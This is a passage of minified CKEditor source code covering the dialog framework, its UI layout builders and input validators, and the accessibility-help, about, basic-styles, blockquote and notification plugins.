'"':"",c=CKEDITOR.dialog._.uiElementBuilders.vbox.build(this,{type:"vbox",className:"cke_dialog_page_contents",children:a.elements,expand:!!a.expand,padding:a.padding,style:a.style||"width: 100%;"},b),e=this._.contents[a.id]={},g=c.getChild(),f=0;c=g.shift();)c.notAllowed||"hbox"==c.type||"vbox"==c.type||f++,e[c.id]=c,"function"==typeof c.getChild&&g.push.apply(g,c.getChild());f||(a.hidden=!0);b=CKEDITOR.dom.element.createFromHtml(b.join(""));b.setAttribute("role","tabpanel");b.setStyle("min-height",
"100%");c=CKEDITOR.env;e="cke_"+a.id+"_"+CKEDITOR.tools.getNextNumber();d=CKEDITOR.dom.element.createFromHtml(['\x3ca class\x3d"cke_dialog_tab"',0<this._.pageCount?" cke_last":"cke_first",d,a.hidden?' style\x3d"display:none"':"",' id\x3d"',e,'"',c.gecko&&!c.hc?"":' href\x3d"javascript:void(0)"',' tabIndex\x3d"-1" hidefocus\x3d"true" role\x3d"tab"\x3e',a.label,"\x3c/a\x3e"].join(""));b.setAttribute("aria-labelledby",e);this._.tabs[a.id]=[d,b];this._.tabIdList.push(a.id);!a.hidden&&this._.pageCount++;
this._.lastTab=d;this.updateStyle();b.setAttribute("name",a.id);b.appendTo(this.parts.contents);d.unselectable();this.parts.tabs.append(d);a.accessKey&&(B(this,this,"CTRL+"+a.accessKey,z,y),this._.accessKeyMap["CTRL+"+a.accessKey]=a.id)}},selectPage:function(a){if(this._.currentTabId!=a&&!this._.tabs[a][0].hasClass("cke_dialog_tab_disabled")&&!1!==this.fire("selectPage",{page:a,currentPage:this._.currentTabId})){for(var d in this._.tabs){var c=this._.tabs[d][0],e=this._.tabs[d][1];d!=a&&(c.removeClass("cke_dialog_tab_selected"),
c.removeAttribute("aria-selected"),e.hide());e.setAttribute("aria-hidden",d!=a)}var g=this._.tabs[a];g[0].addClass("cke_dialog_tab_selected");g[0].setAttribute("aria-selected",!0);CKEDITOR.env.ie6Compat||CKEDITOR.env.ie7Compat?(b(g[1]),g[1].show(),setTimeout(function(){b(g[1],1)},0)):g[1].show();this._.currentTabId=a;this._.currentTabIndex=CKEDITOR.tools.indexOf(this._.tabIdList,a)}},updateStyle:function(){this.parts.dialog[(1===this._.pageCount?"add":"remove")+"Class"]("cke_single_page")},hidePage:function(a){var b=
this._.tabs[a]&&this._.tabs[a][0];b&&1!=this._.pageCount&&b.isVisible()&&(a==this._.currentTabId&&this.selectPage(f.call(this)),b.hide(),this._.pageCount--,this.updateStyle())},showPage:function(a){if(a=this._.tabs[a]&&this._.tabs[a][0])a.show(),this._.pageCount++,this.updateStyle()},getElement:function(){return this._.element},getName:function(){return this._.name},getContentElement:function(a,b){var d=this._.contents[a];return d&&d[b]},getValueOf:function(a,b){return this.getContentElement(a,b).getValue()},
setValueOf:function(a,b,d){return this.getContentElement(a,b).setValue(d)},getButton:function(a){return this._.buttons[a]},click:function(a){return this._.buttons[a].click()},disableButton:function(a){return this._.buttons[a].disable()},enableButton:function(a){return this._.buttons[a].enable()},getPageCount:function(){return this._.pageCount},getParentEditor:function(){return this._.editor},getSelectedElement:function(){return this.getParentEditor().getSelection().getSelectedElement()},addFocusable:function(a,
b){if("undefined"==typeof b)b=this._.focusList.length,this._.focusList.push(new l(this,a,b));else{this._.focusList.splice(b,0,new l(this,a,b));for(var d=b+1;d<this._.focusList.length;d++)this._.focusList[d].focusIndex++}},setState:function(a){if(this.state!=a){this.state=a;if(a==CKEDITOR.DIALOG_STATE_BUSY){if(!this.parts.spinner){var b=this.getParentEditor().lang.dir,d={attributes:{"class":"cke_dialog_spinner"},styles:{"float":"rtl"==b?"right":"left"}};d.styles["margin-"+("rtl"==b?"left":"right")]=
"8px";this.parts.spinner=CKEDITOR.document.createElement("div",d);this.parts.spinner.setHtml("\x26#8987;");this.parts.spinner.appendTo(this.parts.title,1)}this.parts.spinner.show();this.getButton("ok").disable()}else a==CKEDITOR.DIALOG_STATE_IDLE&&(this.parts.spinner&&this.parts.spinner.hide(),this.getButton("ok").enable());this.fire("state",a)}},getModel:function(a){return this._.model?this._.model:this.definition.getModel?this.definition.getModel(a):null},setModel:function(a){this._.model=a},getMode:function(a){if(this.definition.getMode)return this.definition.getMode(a);
a=this.getModel(a);return!a||a instanceof CKEDITOR.dom.element&&!a.getParent()?CKEDITOR.dialog.CREATION_MODE:CKEDITOR.dialog.EDITING_MODE}};CKEDITOR.tools.extend(CKEDITOR.dialog,{CREATION_MODE:0,EDITING_MODE:1,add:function(a,b){this._.dialogDefinitions[a]&&"function"!=typeof b||(this._.dialogDefinitions[a]=b)},exists:function(a){return!!this._.dialogDefinitions[a]},getCurrent:function(){return CKEDITOR.dialog._.currentTop},isTabEnabled:function(a,b,d){a=a.config.removeDialogTabs;return!(a&&a.match(new RegExp("(?:^|;)"+
b+":"+d+"(?:$|;)","i")))},okButton:function(){var a=function(a,b){b=b||{};return CKEDITOR.tools.extend({id:"ok",type:"button",label:a.lang.common.ok,"class":"cke_dialog_ui_button_ok",onClick:function(a){a=a.data.dialog;!1!==a.fire("ok",{hide:!0}).hide&&a.hide()}},b,!0)};a.type="button";a.override=function(b){return CKEDITOR.tools.extend(function(d){return a(d,b)},{type:"button"},!0)};return a}(),cancelButton:function(){var a=function(a,b){b=b||{};return CKEDITOR.tools.extend({id:"cancel",type:"button",
label:a.lang.common.cancel,"class":"cke_dialog_ui_button_cancel",onClick:function(a){a=a.data.dialog;!1!==a.fire("cancel",{hide:!0}).hide&&a.hide()}},b,!0)};a.type="button";a.override=function(b){return CKEDITOR.tools.extend(function(d){return a(d,b)},{type:"button"},!0)};return a}(),addUIElement:function(a,b){this._.uiElementBuilders[a]=b}});CKEDITOR.dialog._={uiElementBuilders:{},dialogDefinitions:{},currentTop:null,currentZIndex:null};CKEDITOR.event.implementOn(CKEDITOR.dialog);CKEDITOR.event.implementOn(CKEDITOR.dialog.prototype);
D={resizable:CKEDITOR.DIALOG_RESIZE_BOTH,minWidth:600,minHeight:400,buttons:[CKEDITOR.dialog.okButton,CKEDITOR.dialog.cancelButton]};var H=function(a,b,d){for(var c=0,e;e=a[c];c++)if(e.id==b||d&&e[d]&&(e=H(e[d],b,d)))return e;return null},F=function(a,b,d,c,e){if(d){for(var g=0,f;f=a[g];g++){if(f.id==d)return a.splice(g,0,b),b;if(c&&f[c]&&(f=F(f[c],b,d,c,!0)))return f}if(e)return null}a.push(b);return b},M=function(a,b,d){for(var c=0,e;e=a[c];c++){if(e.id==b)return a.splice(c,1);if(d&&e[d]&&(e=M(e[d],
b,d)))return e}return null};k.prototype={getContents:function(a){return H(this.contents,a)},getButton:function(a){return H(this.buttons,a)},addContents:function(a,b){return F(this.contents,a,b)},addButton:function(a,b){return F(this.buttons,a,b)},removeContents:function(a){M(this.contents,a)},removeButton:function(a){M(this.buttons,a)}};g.prototype={get:function(a){return H(this.elements,a,"children")},add:function(a,b){return F(this.elements,a,b,"children")},remove:function(a){M(this.elements,a,
"children")}};var I={},K={};(function(){CKEDITOR.ui.dialog={uiElement:function(a,b,d,c,e,g,f){if(!(4>arguments.length)){var k=(c.call?c(b):c)||"div",h=["\x3c",k," "],l=(e&&e.call?e(b):e)||{},n=(g&&g.call?g(b):g)||{},m=(f&&f.call?f.call(this,a,b):f)||"",t=this.domId=n.id||CKEDITOR.tools.getNextId()+"_uiElement";b.requiredContent&&!a.getParentEditor().filter.check(b.requiredContent)&&(l.display="none",this.notAllowed=!0);n.id=t;var u={};b.type&&(u["cke_dialog_ui_"+b.type]=1);b.className&&(u[b.className]=
1);b.disabled&&(u.cke_disabled=1);for(var r=n["class"]&&n["class"].split?n["class"].split(" "):[],t=0;t<r.length;t++)r[t]&&(u[r[t]]=1);r=[];for(t in u)r.push(t);n["class"]=r.join(" ");b.title&&(n.title=b.title);u=(b.style||"").split(";");b.align&&(r=b.align,l["margin-left"]="left"==r?0:"auto",l["margin-right"]="right"==r?0:"auto");for(t in l)u.push(t+":"+l[t]);b.hidden&&u.push("display:none");for(t=u.length-1;0<=t;t--)""===u[t]&&u.splice(t,1);0<u.length&&(n.style=(n.style?n.style+"; ":"")+u.join("; "));
for(t in n)h.push(t+'\x3d"'+CKEDITOR.tools.htmlEncode(n[t])+'" ');h.push("\x3e",m,"\x3c/",k,"\x3e");d.push(h.join(""));(this._||(this._={})).dialog=a;"boolean"==typeof b.isChanged&&(this.isChanged=function(){return b.isChanged});"function"==typeof b.isChanged&&(this.isChanged=b.isChanged);"function"==typeof b.setValue&&(this.setValue=CKEDITOR.tools.override(this.setValue,function(a){return function(d){a.call(this,b.setValue.call(this,d))}}));"function"==typeof b.getValue&&(this.getValue=CKEDITOR.tools.override(this.getValue,
function(a){return function(){return b.getValue.call(this,a.call(this))}}));CKEDITOR.event.implementOn(this);this.registerEvents(b);this.accessKeyUp&&this.accessKeyDown&&b.accessKey&&B(this,a,"CTRL+"+b.accessKey);var x=this;a.on("load",function(){var b=x.getInputElement();if(b){var d=x.type in{checkbox:1,ratio:1}&&CKEDITOR.env.ie&&8>CKEDITOR.env.version?"cke_dialog_ui_focused":"";b.on("focus",function(){a._.tabBarMode=!1;a._.hasFocus=!0;x.fire("focus");d&&this.addClass(d)});b.on("blur",function(){x.fire("blur");
d&&this.removeClass(d)})}});CKEDITOR.tools.extend(this,b);this.keyboardFocusable&&(this.tabIndex=b.tabIndex||0,this.focusIndex=a._.focusList.push(this)-1,this.on("focus",function(){a._.currentFocusIndex=x.focusIndex}))}},hbox:function(a,b,d,c,e){if(!(4>arguments.length)){this._||(this._={});var g=this._.children=b,f=e&&e.widths||null,k=e&&e.height||null,h,l={role:"presentation"};e&&e.align&&(l.align=e.align);CKEDITOR.ui.dialog.uiElement.call(this,a,e||{type:"hbox"},c,"table",{},l,function(){var a=
['\x3ctbody\x3e\x3ctr class\x3d"cke_dialog_ui_hbox"\x3e'];for(h=0;h<d.length;h++){var b="cke_dialog_ui_hbox_child",c=[];0===h&&(b="cke_dialog_ui_hbox_first");h==d.length-1&&(b="cke_dialog_ui_hbox_last");a.push('\x3ctd class\x3d"',b,'" role\x3d"presentation" ');f?f[h]&&c.push("width:"+A(f[h])):c.push("width:"+Math.floor(100/d.length)+"%");k&&c.push("height:"+A(k));e&&void 0!==e.padding&&c.push("padding:"+A(e.padding));CKEDITOR.env.ie&&CKEDITOR.env.quirks&&g[h].align&&c.push("text-align:"+g[h].align);
0<c.length&&a.push('style\x3d"'+c.join("; ")+'" ');a.push("\x3e",d[h],"\x3c/td\x3e")}a.push("\x3c/tr\x3e\x3c/tbody\x3e");return a.join("")})}},vbox:function(a,b,d,c,e){if(!(3>arguments.length)){this._||(this._={});var g=this._.children=b,f=e&&e.width||null,k=e&&e.heights||null;CKEDITOR.ui.dialog.uiElement.call(this,a,e||{type:"vbox"},c,"div",null,{role:"presentation"},function(){var b=['\x3ctable role\x3d"presentation" cellspacing\x3d"0" border\x3d"0" '];b.push('style\x3d"');e&&e.expand&&b.push("height:100%;");
b.push("width:"+A(f||"100%"),";");CKEDITOR.env.webkit&&b.push("float:none;");b.push('"');b.push('align\x3d"',CKEDITOR.tools.htmlEncode(e&&e.align||("ltr"==a.getParentEditor().lang.dir?"left":"right")),'" ');b.push("\x3e\x3ctbody\x3e");for(var c=0;c<d.length;c++){var h=[];b.push('\x3ctr\x3e\x3ctd role\x3d"presentation" ');f&&h.push("width:"+A(f||"100%"));k?h.push("height:"+A(k[c])):e&&e.expand&&h.push("height:"+Math.floor(100/d.length)+"%");e&&void 0!==e.padding&&h.push("padding:"+A(e.padding));CKEDITOR.env.ie&&
CKEDITOR.env.quirks&&g[c].align&&h.push("text-align:"+g[c].align);0<h.length&&b.push('style\x3d"',h.join("; "),'" ');b.push(' class\x3d"cke_dialog_ui_vbox_child"\x3e',d[c],"\x3c/td\x3e\x3c/tr\x3e")}b.push("\x3c/tbody\x3e\x3c/table\x3e");return b.join("")})}}}})();CKEDITOR.ui.dialog.uiElement.prototype={getElement:function(){return CKEDITOR.document.getById(this.domId)},getInputElement:function(){return this.getElement()},getDialog:function(){return this._.dialog},setValue:function(a,b){this.getInputElement().setValue(a);
!b&&this.fire("change",{value:a});return this},getValue:function(){return this.getInputElement().getValue()},isChanged:function(){return!1},selectParentTab:function(){for(var a=this.getInputElement();(a=a.getParent())&&-1==a.$.className.search("cke_dialog_page_contents"););if(!a)return this;a=a.getAttribute("name");this._.dialog._.currentTabId!=a&&this._.dialog.selectPage(a);return this},focus:function(){this.selectParentTab().getInputElement().focus();return this},registerEvents:function(a){var b=
/^on([A-Z]\w+)/,d,c=function(a,b,d,c){b.on("load",function(){a.getInputElement().on(d,c,a)})},e;for(e in a)if(d=e.match(b))this.eventProcessors[e]?this.eventProcessors[e].call(this,this._.dialog,a[e]):c(this,this._.dialog,d[1].toLowerCase(),a[e]);return this},eventProcessors:{onLoad:function(a,b){a.on("load",b,this)},onShow:function(a,b){a.on("show",b,this)},onHide:function(a,b){a.on("hide",b,this)}},accessKeyDown:function(){this.focus()},accessKeyUp:function(){},disable:function(){var a=this.getElement();
this.getInputElement().setAttribute("disabled","true");a.addClass("cke_disabled")},enable:function(){var a=this.getElement();this.getInputElement().removeAttribute("disabled");a.removeClass("cke_disabled")},isEnabled:function(){return!this.getElement().hasClass("cke_disabled")},isVisible:function(){return this.getInputElement().isVisible()},isFocusable:function(){return this.isEnabled()&&this.isVisible()?!0:!1}};CKEDITOR.ui.dialog.hbox.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.uiElement,
{getChild:function(a){if(1>arguments.length)return this._.children.concat();a.splice||(a=[a]);return 2>a.length?this._.children[a[0]]:this._.children[a[0]]&&this._.children[a[0]].getChild?this._.children[a[0]].getChild(a.slice(1,a.length)):null}},!0);CKEDITOR.ui.dialog.vbox.prototype=new CKEDITOR.ui.dialog.hbox;(function(){var a={build:function(a,b,d){for(var c=b.children,e,g=[],f=[],k=0;k<c.length&&(e=c[k]);k++){var h=[];g.push(h);f.push(CKEDITOR.dialog._.uiElementBuilders[e.type].build(a,e,h))}return new CKEDITOR.ui.dialog[b.type](a,
f,g,d,b)}};CKEDITOR.dialog.addUIElement("hbox",a);CKEDITOR.dialog.addUIElement("vbox",a)})();CKEDITOR.dialogCommand=function(a,b){this.dialogName=a;CKEDITOR.tools.extend(this,b,!0)};CKEDITOR.dialogCommand.prototype={exec:function(a){var b=this.tabId;a.openDialog(this.dialogName,function(a){b&&a.selectPage(b)})},canUndo:!1,editorFocus:1};(function(){var a=/^([a]|[^a])+$/,b=/^\d*$/,d=/^\d*(?:\.\d+)?$/,c=/^(((\d*(\.\d+))|(\d*))(px|\%)?)?$/,e=/^(((\d*(\.\d+))|(\d*))(px|em|ex|in|cm|mm|pt|pc|\%)?)?$/i,
g=/^(\s*[\w-]+\s*:\s*[^:;]+(?:;|$))*$/;CKEDITOR.VALIDATE_OR=1;CKEDITOR.VALIDATE_AND=2;CKEDITOR.dialog.validate={functions:function(){var a=arguments;return function(){var b=this&&this.getValue?this.getValue():a[0],d,c=CKEDITOR.VALIDATE_AND,e=[],g;for(g=0;g<a.length;g++)if("function"==typeof a[g])e.push(a[g]);else break;g<a.length&&"string"==typeof a[g]&&(d=a[g],g++);g<a.length&&"number"==typeof a[g]&&(c=a[g]);var f=c==CKEDITOR.VALIDATE_AND?!0:!1;for(g=0;g<e.length;g++)f=c==CKEDITOR.VALIDATE_AND?f&&
e[g](b):f||e[g](b);return f?!0:d}},regex:function(a,b){return function(d){d=this&&this.getValue?this.getValue():d;return a.test(d)?!0:b}},notEmpty:function(b){return this.regex(a,b)},integer:function(a){return this.regex(b,a)},number:function(a){return this.regex(d,a)},cssLength:function(a){return this.functions(function(a){return e.test(CKEDITOR.tools.trim(a))},a)},htmlLength:function(a){return this.functions(function(a){return c.test(CKEDITOR.tools.trim(a))},a)},inlineStyle:function(a){return this.functions(function(a){return g.test(CKEDITOR.tools.trim(a))},
a)},equals:function(a,b){return this.functions(function(b){return b==a},b)},notEqual:function(a,b){return this.functions(function(b){return b!=a},b)}};CKEDITOR.on("instanceDestroyed",function(a){if(CKEDITOR.tools.isEmpty(CKEDITOR.instances)){for(var b;b=CKEDITOR.dialog._.currentTop;)b.hide();for(var d in I)I[d].remove();I={}}a=a.editor._.storedDialogs;for(var c in a)a[c].destroy()})})();CKEDITOR.tools.extend(CKEDITOR.editor.prototype,{openDialog:function(a,b,d){var c=null,e=CKEDITOR.dialog._.dialogDefinitions[a];
null===CKEDITOR.dialog._.currentTop&&p(this);if("function"==typeof e)e=this._.storedDialogs||(this._.storedDialogs={}),c=e[a]||(e[a]=new CKEDITOR.dialog(this,a)),c.setModel(d),b&&b.call(c,c),c.show();else{if("failed"==e)throw u(this),Error('[CKEDITOR.dialog.openDialog] Dialog "'+a+'" failed when loading definition.');"string"==typeof e&&CKEDITOR.scriptLoader.load(CKEDITOR.getUrl(e),function(){"function"!=typeof CKEDITOR.dialog._.dialogDefinitions[a]&&(CKEDITOR.dialog._.dialogDefinitions[a]="failed");
this.openDialog(a,b,d)},this,0,1)}CKEDITOR.skin.loadPart("dialog");if(c)c.once("hide",function(){c.setModel(null)},null,null,999);return c}})})();var ka=!1;CKEDITOR.plugins.add("dialog",{requires:"dialogui",init:function(a){ka||(CKEDITOR.document.appendStyleSheet(this.path+"styles/dialog.css"),ka=!0);a.on("doubleclick",function(f){f.data.dialog&&a.openDialog(f.data.dialog)},null,null,999)}});(function(){CKEDITOR.plugins.add("a11yhelp",{requires:"dialog",availableLangs:{af:1,ar:1,az:1,bg:1,ca:1,cs:1,
cy:1,da:1,de:1,"de-ch":1,el:1,en:1,"en-au":1,"en-gb":1,eo:1,es:1,"es-mx":1,et:1,eu:1,fa:1,fi:1,fo:1,fr:1,"fr-ca":1,gl:1,gu:1,he:1,hi:1,hr:1,hu:1,id:1,it:1,ja:1,km:1,ko:1,ku:1,lt:1,lv:1,mk:1,mn:1,nb:1,nl:1,no:1,oc:1,pl:1,pt:1,"pt-br":1,ro:1,ru:1,si:1,sk:1,sl:1,sq:1,sr:1,"sr-latn":1,sv:1,th:1,tr:1,tt:1,ug:1,uk:1,vi:1,zh:1,"zh-cn":1},init:function(a){var f=this;a.addCommand("a11yHelp",{exec:function(){var e=a.langCode,e=f.availableLangs[e]?e:f.availableLangs[e.replace(/-.*/,"")]?e.replace(/-.*/,""):
"en";CKEDITOR.scriptLoader.load(CKEDITOR.getUrl(f.path+"dialogs/lang/"+e+".js"),function(){a.lang.a11yhelp=f.langEntries[e];a.openDialog("a11yHelp")})},modes:{wysiwyg:1,source:1},readOnly:1,canUndo:!1});a.setKeystroke(CKEDITOR.ALT+48,"a11yHelp");CKEDITOR.dialog.add("a11yHelp",this.path+"dialogs/a11yhelp.js");a.on("ariaEditorHelpLabel",function(e){e.data.label=a.lang.common.editorHelp})}})})();CKEDITOR.plugins.add("about",{requires:"dialog",init:function(a){var f=a.addCommand("about",new CKEDITOR.dialogCommand("about"));
f.modes={wysiwyg:1,source:1};f.canUndo=!1;f.readOnly=1;a.ui.addButton&&a.ui.addButton("About",{label:a.lang.about.dlgTitle,command:"about",toolbar:"about"});CKEDITOR.dialog.add("about",this.path+"dialogs/about.js")}});CKEDITOR.plugins.add("basicstyles",{init:function(a){var f=0,e=function(c,e,d,k){if(k){k=new CKEDITOR.style(k);var g=b[d];g.unshift(k);a.attachStyleStateChange(k,function(b){!a.readOnly&&a.getCommand(d).setState(b)});a.addCommand(d,new CKEDITOR.styleCommand(k,{contentForms:g}));a.ui.addButton&&
a.ui.addButton(c,{label:e,command:d,toolbar:"basicstyles,"+(f+=10)})}},b={bold:["strong","b",["span",function(a){a=a.styles["font-weight"];return"bold"==a||700<=+a}]],italic:["em","i",["span",function(a){return"italic"==a.styles["font-style"]}]],underline:["u",["span",function(a){return"underline"==a.styles["text-decoration"]}]],strike:["s","strike",["span",function(a){return"line-through"==a.styles["text-decoration"]}]],subscript:["sub"],superscript:["sup"]},c=a.config,m=a.lang.basicstyles;e("Bold",
m.bold,"bold",c.coreStyles_bold);e("Italic",m.italic,"italic",c.coreStyles_italic);e("Underline",m.underline,"underline",c.coreStyles_underline);e("Strike",m.strike,"strike",c.coreStyles_strike);e("Subscript",m.subscript,"subscript",c.coreStyles_subscript);e("Superscript",m.superscript,"superscript",c.coreStyles_superscript);a.setKeystroke([[CKEDITOR.CTRL+66,"bold"],[CKEDITOR.CTRL+73,"italic"],[CKEDITOR.CTRL+85,"underline"]])}});CKEDITOR.config.coreStyles_bold={element:"strong",overrides:"b"};CKEDITOR.config.coreStyles_italic=
{element:"em",overrides:"i"};CKEDITOR.config.coreStyles_underline={element:"u"};CKEDITOR.config.coreStyles_strike={element:"s",overrides:"strike"};CKEDITOR.config.coreStyles_subscript={element:"sub"};CKEDITOR.config.coreStyles_superscript={element:"sup"};(function(){var a={exec:function(a){var e=a.getCommand("blockquote").state,b=a.getSelection(),c=b&&b.getRanges()[0];if(c){var m=b.createBookmarks();if(CKEDITOR.env.ie){var h=m[0].startNode,l=m[0].endNode,d;if(h&&"blockquote"==h.getParent().getName())for(d=
h;d=d.getNext();)if(d.type==CKEDITOR.NODE_ELEMENT&&d.isBlockBoundary()){h.move(d,!0);break}if(l&&"blockquote"==l.getParent().getName())for(d=l;d=d.getPrevious();)if(d.type==CKEDITOR.NODE_ELEMENT&&d.isBlockBoundary()){l.move(d);break}}var k=c.createIterator();k.enlargeBr=a.config.enterMode!=CKEDITOR.ENTER_BR;if(e==CKEDITOR.TRISTATE_OFF){for(h=[];e=k.getNextParagraph();)h.push(e);1>h.length&&(e=a.document.createElement(a.config.enterMode==CKEDITOR.ENTER_P?"p":"div"),l=m.shift(),c.insertNode(e),e.append(new CKEDITOR.dom.text("",
a.document)),c.moveToBookmark(l),c.selectNodeContents(e),c.collapse(!0),l=c.createBookmark(),h.push(e),m.unshift(l));d=h[0].getParent();c=[];for(l=0;l<h.length;l++)e=h[l],d=d.getCommonAncestor(e.getParent());for(e={table:1,tbody:1,tr:1,ol:1,ul:1};e[d.getName()];)d=d.getParent();for(l=null;0<h.length;){for(e=h.shift();!e.getParent().equals(d);)e=e.getParent();e.equals(l)||c.push(e);l=e}for(;0<c.length;)if(e=c.shift(),"blockquote"==e.getName()){for(l=new CKEDITOR.dom.documentFragment(a.document);e.getFirst();)l.append(e.getFirst().remove()),
h.push(l.getLast());l.replace(e)}else h.push(e);c=a.document.createElement("blockquote");for(c.insertBefore(h[0]);0<h.length;)e=h.shift(),c.append(e)}else if(e==CKEDITOR.TRISTATE_ON){l=[];for(d={};e=k.getNextParagraph();){for(h=c=null;e.getParent();){if("blockquote"==e.getParent().getName()){c=e.getParent();h=e;break}e=e.getParent()}c&&h&&!h.getCustomData("blockquote_moveout")&&(l.push(h),CKEDITOR.dom.element.setMarker(d,h,"blockquote_moveout",!0))}CKEDITOR.dom.element.clearAllMarkers(d);e=[];h=[];
for(d={};0<l.length;)k=l.shift(),c=k.getParent(),k.getPrevious()?k.getNext()?(k.breakParent(k.getParent()),h.push(k.getNext())):k.remove().insertAfter(c):k.remove().insertBefore(c),c.getCustomData("blockquote_processed")||(h.push(c),CKEDITOR.dom.element.setMarker(d,c,"blockquote_processed",!0)),e.push(k);CKEDITOR.dom.element.clearAllMarkers(d);for(l=h.length-1;0<=l;l--){c=h[l];a:{d=c;for(var k=0,g=d.getChildCount(),n=void 0;k<g&&(n=d.getChild(k));k++)if(n.type==CKEDITOR.NODE_ELEMENT&&n.isBlockBoundary()){d=
!1;break a}d=!0}d&&c.remove()}if(a.config.enterMode==CKEDITOR.ENTER_BR)for(c=!0;e.length;)if(k=e.shift(),"div"==k.getName()){l=new CKEDITOR.dom.documentFragment(a.document);!c||!k.getPrevious()||k.getPrevious().type==CKEDITOR.NODE_ELEMENT&&k.getPrevious().isBlockBoundary()||l.append(a.document.createElement("br"));for(c=k.getNext()&&!(k.getNext().type==CKEDITOR.NODE_ELEMENT&&k.getNext().isBlockBoundary());k.getFirst();)k.getFirst().remove().appendTo(l);c&&l.append(a.document.createElement("br"));
l.replace(k);c=!1}}b.selectBookmarks(m);a.focus()}},refresh:function(a,e){this.setState(a.elementPath(e.block||e.blockLimit).contains("blockquote",1)?CKEDITOR.TRISTATE_ON:CKEDITOR.TRISTATE_OFF)},context:"blockquote",allowedContent:"blockquote",requiredContent:"blockquote"};CKEDITOR.plugins.add("blockquote",{init:function(f){f.blockless||(f.addCommand("blockquote",a),f.ui.addButton&&f.ui.addButton("Blockquote",{label:f.lang.blockquote.toolbar,command:"blockquote",toolbar:"blocks,10"}))}})})();"use strict";
(function(){function a(a,b){CKEDITOR.tools.extend(this,b,{editor:a,id:"cke-"+CKEDITOR.tools.getUniqueId(),area:a._.notificationArea});b.type||(this.type="info");this.element=this._createElement();a.plugins.clipboard&&CKEDITOR.plugins.clipboard.preventDefaultDropOnElement(this.element)}function f(a){var b=this;this.editor=a;this.notifications=[];this.element=this._createElement();this._uiBuffer=CKEDITOR.tools.eventsBuffer(10,this._layout,this);this._changeBuffer=CKEDITOR.tools.eventsBuffer(500,this._layout,
this);a.on("destroy",function(){b._removeListeners();b.element.remove()})}CKEDITOR.plugins.add("notification",{init:function(a){function b(a){var b=new CKEDITOR.dom.element("div");b.setStyles({position:"fixed","margin-left":"-9999px"});b.setAttributes({"aria-live":"assertive","aria-atomic":"true"});b.setText(a);CKEDITOR.document.getBody().append(b);setTimeout(function(){b.remove()},100)}a._.notificationArea=new f(a);a.showNotification=function(b,f,h){var l,d;"progress"==f?l=h:d=h;b=new CKEDITOR.plugins.notification(a,
{message:b,type:f,progress:l,duration:d});b.show();return b};a.on("key",function(c){if(27==c.data.keyCode){var f=a._.notificationArea.notifications;f.length&&(b(a.lang.notification.closed),f[f.length-1].hide(),c.cancel())}})}});a.prototype={show:function(){!1!==this.editor.fire("notificationShow",{notification:this})&&(this.area.add(this),this._hideAfterTimeout())},update:function(a){var b=!0;!1===this.editor.fire("notificationUpdate",{notification:this,options:a})&&(b=!1);var c=this.element,f=c.findOne(".cke_notification_message"),
h=c.findOne(".cke_notification_progress"),l=a.type;c.removeAttribute("role");a.progress&&"progress"!=this.type&&(l="progress");l&&(c.removeClass(this._getClass()),c.removeAttribute("aria-label"),this.type=l,c.addClass(this._getClass()),c.setAttribute("aria-label",this.type),"progress"!=this.type||h?"progress"!=this.type&&h&&h.remove():(h=this._createProgressElement(),h.insertBefore(f)));void 0!==a.message&&(this.message=a.message,f.setHtml(this.message));void 0!==a.progress&&(this.progress=a.progress,
h&&h.setStyle("width",this._getPercentageProgress()));b&&a.important&&(c.setAttribute("role","alert"),this.isVisible()||this.area.add(this));this.duration=a.duration;this._hideAfterTimeout()},hide:function(){!1!==this.editor.fire("notificationHide",{notification:this})&&this.area.remove(this)},isVisible:function(){return 0<=CKEDITOR.tools.indexOf(this.area.notifications,this)},_createElement:function(){var a=this,b,c,f=this.editor.lang.common.close;b=new CKEDITOR.dom.element("div");b.addClass("cke_notification");
b.addClass(this._getClass());b.setAttributes({id:this.id,role:"alert","aria-label":this.type});"progress"==this.type&&b.append(this._createProgressElement());c=new CKEDITOR.dom.element("p");c.addClass("cke_notification_message");c.setHtml(this.message);b.append(c);c=CKEDITOR.dom.element.createFromHtml('\x3ca class\x3d"cke_notification_close" href\x3d"javascript:void(0)" title\x3d"'+f+'" role\x3d"button" tabindex\x3d"-1"\x3e\x3cspan class\x3d"cke_label"\x3eX\x3c/span\x3e\x3c/a\x3e');b.append(c);c.on("click",
function(){a.editor.focus();a.hide()});return b},_getClass:function(){return"progress"==this.type?"cke_notification_info":"cke_notification_"+this.type},_createProgressElement:function(){var a=new CKEDITOR.dom.element("span");a.addClass("cke_notification_progress");a.setStyle("width",this._getPercentageProgress());return a},_getPercentageProgress:function(){return Math.round(100*(this.progress||0))+"%"},_hideAfterTimeout:function(){var a=this,b;this._hideTimeoutId&&clearTimeout(this._hideTimeoutId);
if("number"==typeof this.duration)b=this.duration;else if("info"==this.type||"success"==this.type)b="number"==typeof this.editor.config.notification_duration?this.editor.config.notification_duration:5E3;b&&(a._hideTimeoutId=setTimeout(function(){a.hide()},b))}};f.prototype={add:function(a){this.notifications.push(a);this.element.append(a.element);1==this.element.getChildCount()&&(CKEDITOR.document.getBody().append(this.element),this._attachListeners());this._layout()},remove:function(a){var b=CKEDITOR.tools.indexOf(this.notifications,
a);0>b||(this.notifications.splice(b,1),a.element.remove(),this.element.getChildCount()||(this._removeListeners(),this.element.remove()))},_createElement:function(){var a=this.editor,b=a.config,c=new CKEDITOR.dom.element("div");c.addClass("cke_notifications_area");c.setAttribute("id","cke_notifications_area_"+a.name);c.setStyle("z-index",b.baseFloatZIndex-2);return c},_attachListeners:function(){var a=CKEDITOR.document.getWindow(),b=this.editor;a.on("scroll",this._uiBuffer.input);a.on("resize",this._uiBuffer.input);
b.on("change",this._changeBuffer.input);b.on("floatingSpaceLayout",this._layout,this,null,20);b.on("blur",this._layout,this,null,20)},_removeListeners:function(){var a=CKEDITOR.document.getWindow(),b=this.editor;a.removeListener("scroll",this._uiBuffer.input);a.removeListener("resize",this._uiBuffer.input);b.removeListener("change",this._changeBuffer.input);b.removeListener("floatingSpaceLayout",this._layout);b.removeListener("blur",this._layout)},_layout:function(){function a(){b.setStyle("left",
